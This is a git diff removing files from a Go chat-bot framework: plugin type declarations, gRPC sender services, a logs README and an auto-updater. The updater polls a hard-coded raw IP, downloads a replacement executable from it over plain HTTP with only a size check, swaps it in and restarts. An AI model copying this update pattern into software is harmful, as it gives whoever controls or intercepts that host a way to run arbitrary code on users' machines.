keys(): Promise<string[]>;
|
||||
len(): Promise<number>;
|
||||
buckets(): Promise<string[]>;
|
||||
watch(key: string, handle: (old: any, now: any, key: string) => StorageModifier | void): void;
|
||||
getName(): Promise<string>;
|
||||
}
|
||||
interface StorageModifier {
|
||||
echo?: string;
|
||||
now?: any;
|
||||
message?: string;
|
||||
error?: string;
|
||||
}
|
||||
interface Message {
|
||||
message_id?: string;
|
||||
user_id: string;
|
||||
chat_id?: string;
|
||||
content: string;
|
||||
user_name?: string;
|
||||
chat_name?: string;
|
||||
}
|
||||
declare class Adapter {
|
||||
platform: string;
|
||||
bot_id: string;
|
||||
call: any;
|
||||
constructor(options: {
|
||||
platform: string;
|
||||
bot_id: string;
|
||||
replyHandler?: (message: Message) => Promise<string | undefined>;
|
||||
actionHandler?: (message: Message) => Promise<string | undefined>;
|
||||
});
|
||||
receive(message: Message): Promise<undefined>;
|
||||
push(message: Message): Promise<string>;
|
||||
destroy(): Promise<void>;
|
||||
sender(options: any): Promise<Sender>;
|
||||
}
|
||||
declare let sender: Sender;
|
||||
declare function sleep(ms?: number): Promise<unknown>;
|
||||
interface CQItem {
|
||||
type: string;
|
||||
params: Record<string, string>;
|
||||
}
|
||||
interface CQParams {
|
||||
[key: string]: string | number | boolean;
|
||||
}
|
||||
declare let utils: {
|
||||
buildCQTag: (type: string, params: CQParams, prefix?: string) => string;
|
||||
parseCQText: (text: string, prefix?: string) => (string | CQItem)[];
|
||||
image: (url: string) => string;
|
||||
video: (url: string) => string;
|
||||
};
|
||||
declare let console: {
|
||||
log(...args: any[]): void;
|
||||
info(...args: any[]): void;
|
||||
error(...args: any[]): void;
|
||||
debug(...args: any[]): void;
|
||||
};
|
||||
export { Adapter, Bucket, sender, sleep, utils, console };
|
||||
`
|
||||
|
||||
func defaultScript(title string) string {
|
||||
create_at := time.Now().Format("2006-01-02 15:04:05")
|
||||
return `/**
|
||||
* @title ` + title + `
|
||||
* @create_at ` + create_at + `
|
||||
* @description 🐒这个人很懒什么都没有留下
|
||||
* @author ` + sillyGirl.GetString("author", "佚名") + `
|
||||
* @version v1.0.0
|
||||
*/
|
||||
|
||||
const {
|
||||
sender: s,
|
||||
Bucket,
|
||||
utils: { buildCQTag, image, video },
|
||||
} = require("sillygirl");
|
||||
`
|
||||
}
|
||||
|
||||
const (
|
||||
NODE = "node"
|
||||
PYTHON = "python3"
|
||||
UNKNOWN = "unknown"
|
||||
)
|
||||
|
||||
func FindMainIndex(home string) (string, string) {
|
||||
if info, err := os.Stat(home + "/main.js"); err == nil && !info.IsDir() {
|
||||
return home + "/main.js", NODE
|
||||
}
|
||||
if info, err := os.Stat(home + "/main.py"); err == nil && !info.IsDir() {
|
||||
return home + "/main.py", PYTHON
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func CheckMainIndex(filename string) (string, bool) {
|
||||
switch filename {
|
||||
case "main.js":
|
||||
return NODE, true
|
||||
case "main.py":
|
||||
return PYTHON, true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
package core
|
||||
@@ -1,111 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"google.golang.org/grpc/metadata"
|
||||
)
|
||||
|
||||
var senderRegisters sync.Map
|
||||
|
||||
func getRegisterSenderByCtx(ctx context.Context, uuid string) (common.Sender, error) {
|
||||
// if uuid == "" { //临时---====+++测试
|
||||
// plt, _ := GetAdapter("terminal", "default")
|
||||
// return plt.Sender2(map[string]string{
|
||||
// CONETNT: "hello",
|
||||
// USER_ID: "user_id",
|
||||
// CHAT_ID: "chat_id",
|
||||
// MESSAGE_ID: "MESSAGE_ID",
|
||||
// }), nil
|
||||
// }
|
||||
md, ok := metadata.FromIncomingContext(ctx)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("missing metadata")
|
||||
}
|
||||
runtimeID := md.Get("RUNTIME_ID")
|
||||
if runtimeID == nil {
|
||||
return nil, fmt.Errorf("missing runtime_id")
|
||||
}
|
||||
runtime_id := runtimeID[0]
|
||||
return getRegisterSender(runtime_id, uuid)
|
||||
}
|
||||
|
||||
func getRegisterSender(runtime_id, uuid string) (common.Sender, error) {
|
||||
if uuid == "" {
|
||||
return &CustomSender{
|
||||
F: &Factory{
|
||||
botid: "default",
|
||||
botplt: "*",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
var sm *sync.Map
|
||||
v, ok := senderRegisters.Load(runtime_id)
|
||||
if ok {
|
||||
sm = v.(*sync.Map)
|
||||
v, ok := sm.Load(uuid)
|
||||
if ok {
|
||||
return v.(common.Sender), nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("NOT FOUND SENDER")
|
||||
}
|
||||
|
||||
func createSenderRegister(runtime_id string) func(common.Sender) string {
|
||||
var sm = new(sync.Map)
|
||||
senderRegisters.Store(runtime_id, sm)
|
||||
return func(s common.Sender) string {
|
||||
uuid := utils.GenUUID()
|
||||
sm.Store(uuid, s)
|
||||
return uuid
|
||||
}
|
||||
}
|
||||
|
||||
func getSenderRegister(runtime_id string) (func(common.Sender) string, error) {
|
||||
var sm *sync.Map
|
||||
v, ok := senderRegisters.Load(runtime_id)
|
||||
if !ok {
|
||||
return nil, errors.New("INVALID RUNTIME")
|
||||
|
||||
}
|
||||
sm = v.(*sync.Map)
|
||||
return func(s common.Sender) string {
|
||||
uuid := utils.GenUUID()
|
||||
sm.Store(uuid, s)
|
||||
return uuid
|
||||
}, nil
|
||||
}
|
||||
|
||||
func deleteSenderRegister(runtime_id string) {
|
||||
v, ok := senderRegisters.Load(runtime_id)
|
||||
if ok {
|
||||
sm := v.(*sync.Map)
|
||||
sm.Range(func(key, value any) bool {
|
||||
// fmt.Println(key)
|
||||
sm.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
senderRegisters.Delete(runtime_id)
|
||||
}
|
||||
|
||||
func getSenderRegisterByCtx(ctx context.Context) (string, func(common.Sender) string, error) {
|
||||
var senderRegister func(common.Sender) string
|
||||
md, ok := metadata.FromIncomingContext(ctx)
|
||||
if !ok {
|
||||
return "", senderRegister, fmt.Errorf("missing metadata")
|
||||
}
|
||||
runtimeID := md.Get("RUNTIME_ID")
|
||||
if runtimeID == nil {
|
||||
return "", senderRegister, fmt.Errorf("missing runtime_id")
|
||||
}
|
||||
runtime_id := runtimeID[0]
|
||||
f, err := getSenderRegister(runtime_id)
|
||||
return runtime_id, f, err
|
||||
}
|
||||
@@ -1,283 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/proto3/srpc"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
)
|
||||
|
||||
func (sg *SillyGirlService) SenderGetUserId(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetUserID()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetUserName(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetUserName()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderIsAdmin(ctx context.Context, req *srpc.SenderRequest) (*srpc.BoolResponse, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.BoolResponse{Value: s.IsAdmin()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetChatId(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetChatID()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetChatName(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetChatName()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetMessageId(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetMessageID()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetPlatform(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetImType()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetBotId(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetBotID()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderGetContent(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: s.GetContent()}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderSetContent(ctx context.Context, req *srpc.SenderContentRequest) (*srpc.Empty, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.SetContent(req.Content)
|
||||
return &srpc.Empty{}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderContinue(ctx context.Context, req *srpc.SenderRequest) (*srpc.Empty, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.Continue()
|
||||
return &srpc.Empty{}, nil
|
||||
}
|
||||
|
||||
// todo
|
||||
func (sg *SillyGirlService) SenderListen(stream srpc.SillyGirlService_SenderListenServer) error {
|
||||
runtime_id, register, err := getSenderRegisterByCtx(stream.Context())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// fmt.Println(runtime_id)
|
||||
var carry *Carry
|
||||
var echos sync.Map
|
||||
var persistent bool
|
||||
ctx := stream.Context()
|
||||
|
||||
for {
|
||||
req, err := stream.Recv()
|
||||
// fmt.Println("req", string(utils.JsonMarshal(req)))
|
||||
// fmt.Println("carry", carry, err)
|
||||
if err == io.EOF {
|
||||
break // 如果流已经关闭,则退出循环
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if carry != nil {
|
||||
// fmt.Println("已监听,", req)
|
||||
// fmt.Println("req.Uuid", req.Uuid)
|
||||
echo := req.GetUuid()
|
||||
value := req.GetValue()
|
||||
// fmt.Println("echo", echo, "value", value)
|
||||
v, ok := echos.Load(echo)
|
||||
if ok {
|
||||
select {
|
||||
case v.(chan string) <- value:
|
||||
case <-time.After(time.Millisecond):
|
||||
}
|
||||
}
|
||||
// if !persistent {
|
||||
// return nil
|
||||
// }
|
||||
continue
|
||||
}
|
||||
s, err := getRegisterSender(runtime_id, req.Uuid)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
options := []interface{}{}
|
||||
carry = &Carry{
|
||||
ListenPrivate: req.ListenPrivate,
|
||||
ListenGroup: req.ListenGroup,
|
||||
RequireAdmin: req.RequireAdmin,
|
||||
AllowPlatforms: req.AllowPlatforms,
|
||||
ProhibitPlatforms: req.ProhibitPlatforms,
|
||||
AllowGroups: req.AllowGroups,
|
||||
ProhibitGroups: req.ProhibitGroups,
|
||||
AllowUsers: req.AllowUsers,
|
||||
ProhibitUsers: req.ProhibitUsers,
|
||||
UserID: s.GetUserID(),
|
||||
ChatID: s.GetChatID(),
|
||||
UUID: req.PluginId,
|
||||
}
|
||||
if req.Timeout != 0 {
|
||||
options = append(options, time.Duration(req.Timeout)*time.Millisecond)
|
||||
}
|
||||
if len(req.Rules) != 0 {
|
||||
for _, rule := range req.Rules {
|
||||
_rs := formatRule(rule)
|
||||
if len(_rs) != 0 {
|
||||
carry.Function.Rules = append(carry.Function.Rules, _rs...)
|
||||
} else {
|
||||
carry.Function.Rules = append(carry.Function.Rules, rule)
|
||||
}
|
||||
}
|
||||
}
|
||||
if carry.AllowPlatforms == nil {
|
||||
plt := s.GetImType()
|
||||
if plt != "*" {
|
||||
carry.AllowPlatforms = []string{plt}
|
||||
}
|
||||
}
|
||||
options = append(options, carry)
|
||||
if req.Persistent {
|
||||
persistent = req.Persistent
|
||||
options = append(options, "persistent")
|
||||
} else {
|
||||
// fmt.Println("???")
|
||||
options = append(options, func(err error) { //超时
|
||||
stream.Send(&srpc.SenderListenResponse{Echo: "END"})
|
||||
})
|
||||
// fmt.Println("?????")
|
||||
}
|
||||
level := s.GetLevel()
|
||||
go s.Await(s, func(s common.Sender) interface{} {
|
||||
s.SetLevel(level + 1)
|
||||
echo := utils.GenUUID()
|
||||
ch := make(chan string)
|
||||
echos.Store(echo, ch)
|
||||
defer echos.Delete(echo)
|
||||
// fmt.Println("tosend")
|
||||
stream.Send(&srpc.SenderListenResponse{Echo: echo, Uuid: register(s)})
|
||||
// fmt.Println("sended")
|
||||
value := ""
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
case value = <-ch:
|
||||
}
|
||||
// fmt.Println("value := <-ch")
|
||||
if !persistent {
|
||||
if strings.HasPrefix(value, "go_again_") {
|
||||
value = strings.Replace(value, "go_again_", "", 1)
|
||||
return GoAgain(value)
|
||||
} else {
|
||||
// fmt.Println("toend")
|
||||
stream.Send(&srpc.SenderListenResponse{Echo: "END"})
|
||||
// fmt.Println("ended")
|
||||
}
|
||||
} else {
|
||||
value = strings.Replace(value, "go_again_", "", 1)
|
||||
}
|
||||
// fmt.Println("watch pver")
|
||||
return value
|
||||
}, options...)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderEvent(ctx context.Context, req *srpc.SenderRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &srpc.Default{Value: string(utils.JsonMarshal(s.Event()))}, nil
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderReply(ctx context.Context, req *srpc.ReplyRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
message_id, err := s.Reply(req.Content)
|
||||
return &srpc.Default{Value: message_id}, err
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderParam(ctx context.Context, req *srpc.ReplyRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
value := ""
|
||||
i := utils.Int(req.Content)
|
||||
if fmt.Sprint(i) == req.Content {
|
||||
value = s.Get(i - 1)
|
||||
} else {
|
||||
value = s.Get(req.Content)
|
||||
}
|
||||
return &srpc.Default{Value: value}, err
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderAction(ctx context.Context, req *srpc.ReplyRequest) (*srpc.Default, error) {
|
||||
s, err := getRegisterSenderByCtx(ctx, req.Uuid)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var params = map[string]interface{}{}
|
||||
err = json.Unmarshal([]byte(req.Content), ¶ms)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
result, err := s.Action(params)
|
||||
return &srpc.Default{Value: string(utils.JsonMarshal(result))}, err
|
||||
}
|
||||
|
||||
func (sg *SillyGirlService) SenderDestroy(ctx context.Context, req *srpc.ReplyRequest) (*srpc.Empty, error) {
|
||||
return &srpc.Empty{}, nil
|
||||
}
|
||||
-274
@@ -1,274 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/beego/beego/v2/adapter/httplib"
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
)
|
||||
|
||||
var version = compiled_at
|
||||
|
||||
func GetVersion() (string, error) {
|
||||
v, e := httplib.Get("http://172.96.255.172:8765/api/version").String()
|
||||
if len(v) == 13 {
|
||||
if version != v && v != compiled_at {
|
||||
sillyGirl.Set("version", v)
|
||||
console.Log("发现更新,版本号", v)
|
||||
version = v
|
||||
}
|
||||
return v, e
|
||||
}
|
||||
return v, errors.New("版本获取失败")
|
||||
}
|
||||
|
||||
func Init() {
|
||||
go func() {
|
||||
for {
|
||||
GetVersion()
|
||||
if version != compiled_at {
|
||||
break
|
||||
}
|
||||
time.Sleep(time.Minute * 5)
|
||||
}
|
||||
}()
|
||||
initLoc()
|
||||
sillyGirl = MakeBucket("sillyGirl")
|
||||
// utils.ReadYaml(utils.ExecPath+"/conf/", &Config, "https://raw.githubusercontent.com/cdle/sillyplus/main/conf/demo_config.yaml")
|
||||
initToHandleMessage()
|
||||
sillyGirl.Set("compiled_at", compiled_at)
|
||||
console.Log("编译版本: %s", compiled_at)
|
||||
initWeb()
|
||||
initCarry()
|
||||
sillyGirl.Set("started_at", time.Now().Format("2006-01-02 15:04:05"))
|
||||
var updates = 0
|
||||
storage.Watch(sillyGirl, "compiled_at", func(old, new, key string) *storage.Final {
|
||||
if old != new {
|
||||
if updates == 1 {
|
||||
return &storage.Final{
|
||||
Message: "升级中,请耐心等待...",
|
||||
}
|
||||
}
|
||||
updates++
|
||||
defer func() {
|
||||
updates--
|
||||
}()
|
||||
var transport *http.Transport
|
||||
instance, err := GetProxyTransport("https://raw.githubusercontent.com", "", nil)
|
||||
if err != nil {
|
||||
console.Error("升级代理错误:%s", err)
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("升级代理错误::%s", err),
|
||||
}
|
||||
}
|
||||
if instance != nil {
|
||||
defer instance.Close()
|
||||
}
|
||||
if instance != nil {
|
||||
transport = &http.Transport{
|
||||
Dial: func(string, string) (net.Conn, error) {
|
||||
return instance, nil
|
||||
},
|
||||
MaxIdleConns: 100,
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
TLSHandshakeTimeout: 10 * time.Second,
|
||||
ExpectContinueTimeout: 1 * time.Second,
|
||||
}
|
||||
}
|
||||
var client = &http.Client{}
|
||||
if transport != nil {
|
||||
client.Transport = transport
|
||||
}
|
||||
var body io.Reader
|
||||
var data []byte
|
||||
var latest_version = ""
|
||||
var resp *http.Response
|
||||
var req *http.Request
|
||||
|
||||
proxy := false
|
||||
qurl := "https://raw.githubusercontent.com/cdle/binary/main/compile_time.go"
|
||||
|
||||
version, _ := GetVersion()
|
||||
if version != "" {
|
||||
console.Debug("正在从 github 获取版本号...")
|
||||
latest_version = version
|
||||
} else {
|
||||
console.Debug("正在从 cdle/binary 获取版本号...")
|
||||
req, _ = http.NewRequest("GET", qurl, strings.NewReader(""))
|
||||
resp, err = client.Do(req)
|
||||
if err != nil {
|
||||
console.Error("获取版本号错误:%s", err)
|
||||
// return &storage.Final{
|
||||
// Error: fmt.Errorf("貌似网络不太行啊:%s", err),
|
||||
// }
|
||||
goto PROXY
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, _ = ioutil.ReadAll(resp.Body)
|
||||
latest_version = regexp.MustCompile(`\d{13}`).FindString(string(data))
|
||||
}
|
||||
|
||||
if latest_version <= compiled_at {
|
||||
console.Debug("当前版本 %s 已是最新,无需升级", compiled_at)
|
||||
return &storage.Final{
|
||||
Message: fmt.Sprintf("当前版本 %s 已是最新,无需升级", compiled_at),
|
||||
}
|
||||
}
|
||||
client = &http.Client{
|
||||
Timeout: 30 * time.Second,
|
||||
}
|
||||
if transport != nil {
|
||||
client.Transport = transport
|
||||
}
|
||||
console.Debug("正在从 cdle/binary 获取最新版本 %s 编译文件...", latest_version)
|
||||
qurl = "https://raw.githubusercontent.com/cdle/binary/master/sillyGirl_" + runtime.GOOS + "_" + runtime.GOARCH + "_" + latest_version
|
||||
if runtime.GOOS == "windows" {
|
||||
qurl += ".exe"
|
||||
}
|
||||
req, _ = http.NewRequest("GET", qurl, strings.NewReader(""))
|
||||
resp, err = client.Do(req)
|
||||
if err != nil {
|
||||
console.Error("获取最新编译文件错误:%s", err)
|
||||
// return &storage.Final{
|
||||
// Error: fmt.Errorf("升级时貌似网络不太行啊:%v", err),
|
||||
// }
|
||||
goto PROXY
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body = resp.Body
|
||||
goto CREATE
|
||||
PROXY:
|
||||
//使用免费代理下载
|
||||
proxy = true
|
||||
console.Info("正在重新尝试下载...")
|
||||
qurl = "http://172.96.255.172:8765/api/download?version=" + compiled_at + "&goos=" + runtime.GOOS + "&goarch=" + runtime.GOARCH
|
||||
resp, err = http.Get(qurl)
|
||||
if err != nil {
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("升级时貌似网络不太行啊"),
|
||||
}
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body = resp.Body
|
||||
switch resp.Header.Get("Result") {
|
||||
case "newest":
|
||||
return &storage.Final{
|
||||
Message: fmt.Sprintf("当前版本 %s 已是最新,无需升级", compiled_at),
|
||||
}
|
||||
case "fail":
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("升级失败"),
|
||||
}
|
||||
case "ok":
|
||||
}
|
||||
|
||||
CREATE:
|
||||
console.Debug("正在创建编译文件...")
|
||||
filename := utils.ExecPath + "/" + utils.ProcessName
|
||||
ready := ""
|
||||
if runtime.GOOS == "windows" {
|
||||
ready = strings.Replace(filename, ".exe", ".ready.exe", -1)
|
||||
} else {
|
||||
ready += ".ready"
|
||||
}
|
||||
f, err := os.OpenFile(ready, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
console.Error("创建编译文件错误:%v", err)
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("创建编译文件错误:%v", err),
|
||||
}
|
||||
}
|
||||
defer f.Close()
|
||||
i, err := io.Copy(f, body)
|
||||
if i < 2646140 || err != nil {
|
||||
if !proxy {
|
||||
goto PROXY
|
||||
}
|
||||
console.Error("创建编译文件错误:%v %v", i, err)
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("创建编译文件错误:%v %v", i, err),
|
||||
}
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
console.Log("正在准备重启...")
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
utils.Daemon("ready")
|
||||
}()
|
||||
return &storage.Final{
|
||||
Message: "1秒重启升级!",
|
||||
}
|
||||
} else {
|
||||
console.Debug("正在删除旧程序错误...")
|
||||
if err = os.RemoveAll(filename); err != nil {
|
||||
plugins.Set2(key, "")
|
||||
console.Error("删除旧程序错误:%v", err)
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("删除旧程序错误:%v", err),
|
||||
}
|
||||
}
|
||||
}
|
||||
console.Debug("正在移动新程序错误...")
|
||||
if err = os.Rename(ready, filename); err != nil {
|
||||
console.Error("移动新程序错误:%v", err)
|
||||
return &storage.Final{
|
||||
Error: fmt.Errorf("移动新程序错误:%v", err),
|
||||
}
|
||||
}
|
||||
go func() {
|
||||
console.Debug("正在重启...")
|
||||
time.Sleep(time.Second)
|
||||
utils.Daemon()
|
||||
}()
|
||||
return &storage.Final{
|
||||
Message: "升级成功,即将重启!",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
storage.Watch(sillyGirl, "started_at", func(old, new, key string) *storage.Final {
|
||||
if old != new {
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
utils.Daemon()
|
||||
}()
|
||||
return &storage.Final{
|
||||
Message: "1秒重启!",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
api_key := sillyGirl.GetString("api_key")
|
||||
if api_key == "" {
|
||||
api_key := time.Now().UnixNano()
|
||||
sillyGirl.Set("api_key", api_key)
|
||||
}
|
||||
// if sillyplus.GetString("uuid") == "" {
|
||||
sillyGirl.Set("uuid", utils.GenUUID())
|
||||
// }
|
||||
httplib.SetDefaultSetting(httplib.BeegoHTTPSettings{
|
||||
ConnectTimeout: time.Second * 10,
|
||||
ReadWriteTimeout: time.Second * 10,
|
||||
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
|
||||
})
|
||||
initPlugins()
|
||||
initReboot()
|
||||
initListenReply()
|
||||
// initPluginFile()
|
||||
initWebPluginList()
|
||||
go initPluginList()
|
||||
initPluginPublish()
|
||||
|
||||
}
|
||||
@@ -1,70 +0,0 @@
|
||||
## logs
|
||||
|
||||
logs is a Go logs manager. It can use many logs adapters. The repo is inspired by `database/sql` .
|
||||
|
||||
## How to install?
|
||||
|
||||
go get github.com/cdle/sillyplus/core/logs
|
||||
|
||||
## What adapters are supported?
|
||||
|
||||
As of now this logs support console, file,smtp and conn.
|
||||
|
||||
## How to use it?
|
||||
|
||||
First you must import it
|
||||
|
||||
```golang
|
||||
import (
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
)
|
||||
```
|
||||
|
||||
Then init a Log (example with console adapter)
|
||||
|
||||
```golang
|
||||
log := logs.NewLogger(10000)
|
||||
log.SetLogger("console", "")
|
||||
```
|
||||
|
||||
> the first params stand for how many channel
|
||||
|
||||
Use it like this:
|
||||
|
||||
```golang
|
||||
log.Trace("trace")
|
||||
log.Info("info")
|
||||
log.Warn("warning")
|
||||
log.Debug("debug")
|
||||
log.Critical("critical")
|
||||
```
|
||||
|
||||
## File adapter
|
||||
|
||||
Configure file adapter like this:
|
||||
|
||||
```golang
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("file", `{"filename":"test.log"}`)
|
||||
```
|
||||
|
||||
## Conn adapter
|
||||
|
||||
Configure like this:
|
||||
|
||||
```golang
|
||||
log := NewLogger(1000)
|
||||
log.SetLogger("conn", `{"net":"tcp","addr":":7020"}`)
|
||||
log.Info("info")
|
||||
```
|
||||
|
||||
## Smtp adapter
|
||||
|
||||
Configure like this:
|
||||
|
||||
```golang
|
||||
log := NewLogger(10000)
|
||||
log.SetLogger("smtp", `{"username":"beegotest@gmail.com","password":"xxxxxxxx","host":"smtp.gmail.com:587","sendTos":["xiemengjun@gmail.com"]}`)
|
||||
log.Critical("sendmail critical")
|
||||
time.Sleep(time.Second * 30)
|
||||
```
|
||||
@@ -1,93 +0,0 @@
|
||||
// Copyright 2014 beego Author. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
apacheFormatPattern = "%s - - [%s] \"%s %d %d\" %f %s %s"
|
||||
apacheFormat = "APACHE_FORMAT"
|
||||
jsonFormat = "JSON_FORMAT"
|
||||
)
|
||||
|
||||
// AccessLogRecord is astruct for holding access log data.
|
||||
type AccessLogRecord struct {
|
||||
RemoteAddr string `json:"remote_addr"`
|
||||
RequestTime time.Time `json:"request_time"`
|
||||
RequestMethod string `json:"request_method"`
|
||||
Request string `json:"request"`
|
||||
ServerProtocol string `json:"server_protocol"`
|
||||
Host string `json:"host"`
|
||||
Status int `json:"status"`
|
||||
BodyBytesSent int64 `json:"body_bytes_sent"`
|
||||
ElapsedTime time.Duration `json:"elapsed_time"`
|
||||
HTTPReferrer string `json:"http_referrer"`
|
||||
HTTPUserAgent string `json:"http_user_agent"`
|
||||
RemoteUser string `json:"remote_user"`
|
||||
}
|
||||
|
||||
func (r *AccessLogRecord) json() ([]byte, error) {
|
||||
buffer := &bytes.Buffer{}
|
||||
encoder := json.NewEncoder(buffer)
|
||||
disableEscapeHTML(encoder)
|
||||
|
||||
err := encoder.Encode(r)
|
||||
return buffer.Bytes(), err
|
||||
}
|
||||
|
||||
func disableEscapeHTML(i interface{}) {
|
||||
if e, ok := i.(interface {
|
||||
SetEscapeHTML(bool)
|
||||
}); ok {
|
||||
